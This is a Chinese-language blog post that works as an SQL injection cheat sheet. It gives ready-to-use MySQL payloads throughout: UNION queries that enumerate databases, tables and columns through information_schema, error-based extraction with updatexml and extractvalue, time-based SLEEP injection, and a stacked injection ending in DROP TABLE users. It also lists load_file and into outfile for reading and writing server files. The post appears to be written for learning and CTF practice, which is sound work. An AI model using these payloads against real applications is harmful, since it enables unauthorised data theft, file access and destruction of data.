SQL注入

常用语法

  • SELECT
1
SELECT 列名1, 列名2, ... FROM 表名 WHERE 条件
  • UNION
1
2
3
SELECT 列名 FROM 表名
UNION
SELECT 列名_1 FROM 表名_1;

使用 UNION 的时候要注意两个表的列数量必须相同

  • Order by
1
2
3
4
# SQL注入中我们常用它来判断列数
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 1;# 不报错
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 2;# 不报错
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 3;# 报错

查询库名

1
2
3
4
5
6
1 union SELECT 1,schema_name FROM information_schema.schemata;
# or
1 union SELECT schema_name,2 FROM information_schema.schemata;
# 注意这里的 schema_name 一定要放在会显示的列名上面 比如password不显示 但是username显示 那么就用第二种。
# 此时后台执行为:
SELECT username,password FROM users WHERE id = 1 union SELECT 1,schema_name FROM information_schema.schemata;

查询表名

1
2
3
4
5
6
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
# 原理同上
# 如果要查询其他数据库 可以写为 where table_schema='databaseNAME'
# 后台执行为:
SELECT username,password FROM users WHERE id = 1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

查询字段名

1
2
3
4
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()
1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database()
# 后台执行为:
SELECT username,password FROM users WHERE id = 1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database();

常用参数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex() 和 unhex():用于 hex 编码解码
  • ASCII():返回字符的 ASCII 码值
  • CHAR():把整数转换为对应的字符
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \
  • select xxoo into outfile ‘路径’:权限较高时可直接写文件
  • SUBSTR(): 截取字符串中的一部分, SUBSTR(string, start, length)
  • BENCHMARK(): 重复执行指定语句, BENCHMARK(count,expr)

注入

字符串注入

1
SELECT * FROM users WHERE username='-1' or '1'='1' -- ' AND password='$password';

时间注入

1
SELECT * FROM users WHERE username='admin' AND IF(condition,SLEEP(5),0)

报错注入

  • updatexml()

updatexml() 是 MySQL 中的一种 XML 处理函数,它用于更新 XML 格式的数 据,其标准的用法如下:

1
UPDATEXML(xml_target, xpath_expr, new_value)

其中,xml_target 是要更新的 XML 数据,xpath_expr 是要更新的节点路 径,new_value 是新的节点值。

但是这个函数有一个缺陷,如果二个参数包含特殊符号时会报错,并且会第二 个参数的内容显示在报错信息中

那么通过这个特性,我们用 concat() 函数 将查询语句和特殊符号拼接 在一起,就可以将查询结果显示在报错信息中

1
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e,version()), 3)

ps: 0x7e(ASCII 为 ~)

不过要注意的是 updatexml() 的报错长度存在字符长度限制,目前有两 种方法来解决这个问题:

  • limit()
1
2
3
4
5
SELECT username, password FROM users WHERE id = 1 and   updatexml(1,concat(0x7e,
(select username from users 
limit 0,1)),
3);
# 不断改变limit NUM,1 的值逐行获取
  • substr()
1
2
3
4
5
SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,
substr(
(select group_concat(username) from users),
1,31)
),3);

执行结果:

1
2
3
4
5
mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,
substr(
(select group_concat(username) from users),1,31)
),3);
1105 - XPATH syntax error: '~admin,super,flag,null'
  • extractvalue()

extractvalue() 是 MySQL 中的一个 XML 处理函数,它用于从 XML 格式的数据中提取指定节点的值。

1
EXTRACTVALUE(xml_target, xpath_expr)

其中,xml_target 是要提取节点值的 XML 数据,xpath_expr 是要提取的节点路径。

它用于报错注入的方法其实和 updatexml() 函数的使用方法差不多 但是参数少一个 x

堆叠注入

通过在 SQL 语句中使用分号(;)来分隔多个 SQL 语句,从而实现堆叠注入攻击。

1
SELECT username, password FROM users WHERE id =1; DROP TABLE users;--

参考文献:SQL 注入

生活由投入其中的每一天构成
使用 Hugo 构建
主题 StackJimmy 设计